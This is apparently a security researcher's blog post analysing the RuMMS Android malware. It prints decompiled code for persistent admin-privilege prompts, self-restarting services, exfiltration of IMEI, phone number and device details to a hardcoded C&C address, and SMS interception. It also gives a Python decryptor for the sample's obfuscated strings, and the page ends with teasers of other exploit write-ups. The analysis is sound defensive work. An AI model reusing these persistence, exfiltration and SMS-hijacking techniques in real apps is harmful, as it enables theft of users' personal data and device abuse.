Exploiting CVE-2024-27096
Intro A few weeks ago, I discovered during an intrusion test two vulnerabilities affecting GLPI 10.0.12, that was the latest public version at this time. The...
RuMMS is a malware targetting Russian users, distributed via websites as a file named mms.apk
[1]. This article is inspired by this analysis made by FireEye
about this malware. In this analysis, I’ll try to give an overview of malicious behaviors of the malware, and techniques it uses.
First bad news: the code has been obfuscated: names don’t mean anything, and some strings are encrypted … MainActivity
is the only class with a “normal” name. Let’s analyze it little by little:
Knowing that o.q
is as follows:
public static void q(Context paramContext, Intent paramIntent){ paramContext.startService(paramIntent); }
we know that a service named Tb
is started. Secondly, because of the usage of ComponentName
, my first guess as I saw this routine was that the app was requesting admin privileges right at the beginning. And it was a correct guess, because Aa
class is the DeviceAdminReceiver
.
As shown on the next picture, the app will ask for admin privileges as long as they are not granted. Indeed, the code 100 is used to filter the Activity
’s calling code
and the routine q
is called again if the code is not equal to -1:
If privileges are granted, the routine o.q
is then used to remove the app from the launcher:
and a new Service
named Ad
is started.
This class only contains:
Probably a way to remain always active…
### Tb service
Once again, the service is restarted immediately after being destroyed, and in onCreate
a new Thread
is started. By looking at the class ax
, we can actually see
that the routine ax.run
only calls postDelayed
on the Handler
member of Tb
. Then, it could written as follows:
new Thread(new Runnable(){ public void run(){ Tb.handler.postDelayed(Tb.runnable, 0); } }).start();
The Runnable
is an instance of the class av
, having this routine run
:
The array w
contains strings encrypted with routines q(String)
and q(char[])
: private static final String[] w = { q(q("GSqN")), q(q("V[")), q(q("Z\\n")), q(q("F@q")), q(q("Z_")), q(q("\\\\x")), q(q("Z\\nV")), q(q("G[pG")), q(q("lBxP")), q(q("ZV")), q(q("l[sQ\007")), q(q("Z\\{M")), q(q("VZk")) };
I will not get into details of the algorithm here (see last section), so here are the decrypted strings:
0: tall 1: ei 2: ins 3: url 4: im 5: one 6: inst 7: time 8: _per 9: id 10: _inst 11: info 12: ehv
And then, the code could be written as follows, according to what JD-GUI shows:
public void run(){ if (!this.q.w.contains("one_inst")){ SharedPreferences.Editor editor = this.q.w.edit(); editor.putInt("one_inst", 1); editor.putString("url", this.q.getApplicationContext().getString(R.string.URL)); editor.putString("inst", "1"); editor.putLong("time_per_ehv", 100L); //o.t(Context) returns the device ID editor.putString("id", this.q.getApplicationContext().getString(R.string.PREFIX_ID) + o.t(this.q.getApplicationContext())); editor.putString("imei", o.t(this.q.getApplicationContext())); editor.apply(); } if (this.q.w.getString("inst", null) == "1") { new v(this.q.getApplicationContext(), new ArrayList(), "install").execute(new String[] { this.q.w.getString("url", null) }); } else{ new v(this.q.getApplicationContext(), new ArrayList(), "info").execute(new String[] { this.q.w.getString("url", null) }); } Tb.q(this.q).postDelayed(this, bo.q); }
knowing that strings.xml
contains:
<string name="app_name">Infinite Flight</string> <string name="hello_world">Hello world!</string> <string name="action_settings">Settings</string> <string name="PREFS_NAME">AppPrefs</string> <string name="PREFIX_ID">0080</string> <string name="URL">http://37.1.207.31/api/?id=7</string>
We can then suppose that the malware will try to exfiltrate device informations to a C&C server.
To summarize, the app starts by asking admin privileges continuously, and then starts “unkillable” Service
s, one saving data in SharedPreferences
for a future use.
The routine run
we just analyzed ends by creating a new v
, and the constructor takes as argument a string which was “install” or “info”, which is quite suspicious. This class extends AsyncTask
, that’s the reason why
execute
was called on newly created objects. In the decompiled class, I did’t found the routine doInBackground
, however, there were three protected
methods: onPreExecute()
, void:q(JSONObject)
, and JSONObject:q(String[])
. It was then obvious
that doInBackground
was the third one. This routine only contains this:
protected JSONObject q(String[] paramArrayOfString){ return q(paramArrayOfString[q.j]); }
where q.j
equals 0 as one might expect. The routine q
is as follows:
Once again, strings are encrypted and stored in the array t = { q(e("/\b8\021")), q(e("+\003*\026+\"")), q(e("/\002")), q(e("/\b-\n%*\n")), q(e("\"\007*\037u")), q(e("%\t0\n%%\022\001\027 f[~A")), q(e("2\0173\033")), q(e("%\t3\023")), q(e("\031\023,\022")), q(e("(\0073\033")), q(e("/\020;\f=")), q(e("\031\025;\020 ")), q(e("'\b:")), q(e("lT")), q(e("3\025")), q(e("(\003)")), q(e("_gG}_")), q(e("\031\026;\f")), q(e("2\003&\n")), q(e("\"\0032")), q(e("q_nN")), q(e("#\016(")), q(e("wL")), q(e("/\b-\n")), q(e("'\n2!04\023;")), q(e("3\0242")), q(e("\031\b+\023&#\024")), q(e("5\002")), q(e("\031\017:")), q(e("%\0072\022")), q(e("'\004")), q(e("+\t:\033(")), q(e("0\003,\r-)\b")), q(e(")\025")), q(e("#\017")), q(e("/\013")), q(e("%\t+\02004\037"))
Once decrypted, we have:
0: info 1: method 2: id 3: install 4: data1 5: contact_id = ? 6: time 7: comm 8: _url 9: name 10: ivery 11: _send 12: and 13: *2 14: us 15: new 16: 9999999 17: _per 18: text 19: del 20: 7900 21: ehv 22: 1* 23: inst 24: all_true 25: url 26: _number 27: sd 28: _id 29: call 30: ab 31: model 32: version 33: os 34: ei 35: im 36: country
We can then rewrite the code in this way:
public JSONObject q(String paramString){ JSONObject jsonObj = null; r localr = new r(); this.e.add(new BasicNameValuePair("method", this.r)); //the string given in the constructor this.e.add(new BasicNameValuePair("id", this.w.getString("id", null))); //this.w: SharedPreferences if (this.r.startsWith("install")) { return localr.q(paramString, q.Q, q()); } else if (this.r.startsWith("info") || this.r.startsWith(q.d)){ return localr.q(paramString, q.Q, this.e); } return jsonObj; }
knowing that
q.Q = "POST"
(decrypted)q.d = "sms"
(decrypted),r
is a class used to send HTTP request (which is consistent with q.Q
)q()
contains these values (once decrypted):
public List q(){ this.e.add(new BasicNameValuePair("operator", o.o(q))); //param q : Context this.e.add(new BasicNameValuePair("model", Build.MODEL)); this.e.add(new BasicNameValuePair("os", Build.VERSION.RELEASE)); this.e.add(new BasicNameValuePair("phone", o.y(q))); this.e.add(new BasicNameValuePair("imei" , o.t(q))); this.e.add(new BasicNameValuePair("version", bo.w)); this.e.add(new BasicNameValuePair("country", o.w(q))); return this.e; }
The routine onPostExecute
, takes as parameter a JSONObject
containg C&C server’s response, and processes this response. This response contains commands, compared against
concatenated strings, based on decrypted ones listed above.
To conclude, we have here the way used by the malware to communicate with the C&C server. In doInBackground
, the malware sends a query in order to know what to do, and the C&C server
answers with commands, asking the malware to send SMS, make calls, steal data, etc.
## SMS receiver
But that’s not all! In the Manifest, a SMS receiver is registered (class Ma
). Unfortunately, the routine onReceive
was not properly decompiled, but I found these interesting lines:
// 237: getfield 117 org/zxformat/Ma:e Landroid/content/SharedPreferences; // 240: getstatic 31 org/zxformat/Ma:r [Ljava/lang/String; // 243: iconst_1 // 244: aaload // 245: aconst_null // 246: invokeinterface 192 3 0 // 251: aastore // 252: invokevirtual 196 org/zxformat/v:execute ([Ljava/lang/Object;)Landroid/os/AsyncTask; // 255: pop // 256: iload 5 // 258: ifne +104 -> 362 // 261: aload_0 // 262: aload_1 // 263: invokespecial 198 org/zxformat/Ma:w (Landroid/content/Context;)V
First, we can see that the AsyncTask
named v
we just analyzed is called here, and we can suppose that received SMS are exfiltrated in this way. The second thing to note
is the call to the routine w
, calling another routine q
:
private void w(Context paramContext){ try{ q(paramContext); } catch (Exception paramContext) {} } protected boolean q(Context paramContext) throws Exception{ try{ Class.forName(q.x + r[3] + q.r + r[2]).getDeclaredMethod(q.h + q.r, new Class[0]).invoke(this, new Object[0]); return true; } catch (Exception e){ throw e; } }
Once decrypted, the array r
contains:
0: pdus 1: url 2: Receiver 3: .content.
and q.x = "android"
, q.r = "Broadcast"
, and q.h = "abort"
, and then we have:
Class.forName("android.content.BroadcastReceiver").getDeclaredMethod("abortBroadcast", new Class[0]).invoke(this, new Object[0]);
## A few words about strings encryption
In many classes, strings are encrypted using two routines. The first one only affects the first byte, and the second one XOR’s each byte with 5 different constants. Let’s take as example the class q
, containing malware’s constants:
which can be written in this way in Python:
def first(paramString): if len(paramString) < 2: paramString = chr(ord(paramString[0])^0x44)+paramString[1:] return paramString
and:
or in Python:
def xor(paramArrayOfChar): if (len(paramArrayOfChar) == 0): return "" string = "" for j in range(len(paramArrayOfChar)): c = j % 5 i = -1 if c == 0: i = 38 elif c == 1: i = 85 elif c == 2: i = 82 elif c == 3: i = 20 else: i = 108 string += chr(i ^ ord(paramArrayOfChar[j])); return string
One has then to change the constant in the first routine and the values for i
in the second one, and call xor(first(...))
RuMMS is a big family of malwares, and some classes of this sample seem to be useless. Indeed, since app icon is disabled, the author’s intention was not to make a usable app, and then, many features of this malware sample are probably unused.
BATTLETO.NES
is folder assets
(hash: bbafead19c25b38a5a129bb8c51aaf8d)Intro A few weeks ago, I discovered during an intrusion test two vulnerabilities affecting GLPI 10.0.12, that was the latest public version at this time. The...
I was recently tasked with auditing the application GLPI, a few days after its latest release (10.0.12 at the time of writing). The latter stands for Gestion...
I won’t insult you by explaining once again what JSON Web Tokens (JWTs) are, and how to attack them. A plethora of awesome articles exists on the Web, descri...
A few days ago, I published a blog post about PHP webshells, ending with a discussion about filters evasion by getting rid of the pattern $_. The latter is c...
A few thoughts about PHP webshells …
I remember this carpet, at the entrance of the Computer Science faculty, with this message There’s no place like 127.0.0.1/8. A joke that would create two ca...
TL;DR A few experiments about mixed managed/unmanaged assemblies. To begin with, we start by presenting a C# programme that hides a part of its payload in an...
It was a sunny and warm summer afternoon, and while normal people would rush to the beach, I decided to devote myself to one of my favourite activities: suff...
The reader should first take a look at the articles related to CVE-2023-3032 and CVE-2023-3033 that I published a few days ago to get more context.
This walkthrough presents another vulnerability discovered on the Mobatime web application (see CVE-2023-3032, same version 06.7.2022 affected). This vulnera...
Mobatime offers various time-related products, such as check-in solutions. In versions up to 06.7.2022, an arbitrary file upload allowed an authenticated use...
King-Avis is a Prestashop module developed by Webbax. In versions older than 17.3.15, the latter suffers from an authenticated path traversal, leading to loc...
Let’s render unto Caesar the things that are Caesar’s, the exploit FuckFastCGI is not mine and is a brilliant one, bypassing open_basedir and disable_functio...
I have to admit, PHP is not my favourite, but such powerful language sometimes really amazes me. Two days ago, I found a bypass of the directive open_basedir...
PHP is a really powerful language, and as a wise man once said, with great power comes great responsibilities. There is nothing more frustrating than obtaini...
A few weeks ago, a good friend of mine asked me if it was possible to create such a program, as it could modify itself. After some thoughts, I answered that ...
In the previous article, I described how I wrote a simple polymorphic program. “Polymorphic” means that the program (the binary) changes its appearance every...
The malware presented in this blog post appeared on Google Play in 2016. I heard about it thanks to this article published on checkpoint.com. The malicious a...
Ransomwares are really interesting malwares because of their very specific purpose. Indeed, a ransomware will not necessarily try to be stealth or persistent...
A few days ago, I found this article about a malware targeting Sberbank, a big Russian bank. The app disguises itself as a web application, stealing in backg...
RuMMS is a malware targetting Russian users, distributed via websites as a file named mms.apk [1]. This article is inspired by this analysis made by FireEye ...
Could a 5-classes Android app be so harmful ? dsencrypt says “yes”…
~$ cat How_an_Android_app_could_escalate_its_privileges_Part4.txt
~$ cat How_an_Android_app_could_escalate_its_privileges_Part3.txt
~$ cat How_an_Android_app_could_escalate_its_privileges_Part2.txt
~$ cat How_an_Android_app_could_escalate_its_privileges.txt
Even if the thesis introduces the extensions internals, and analyses the difference between mobile and desktop browsers in terms of likelihood, efficiency an...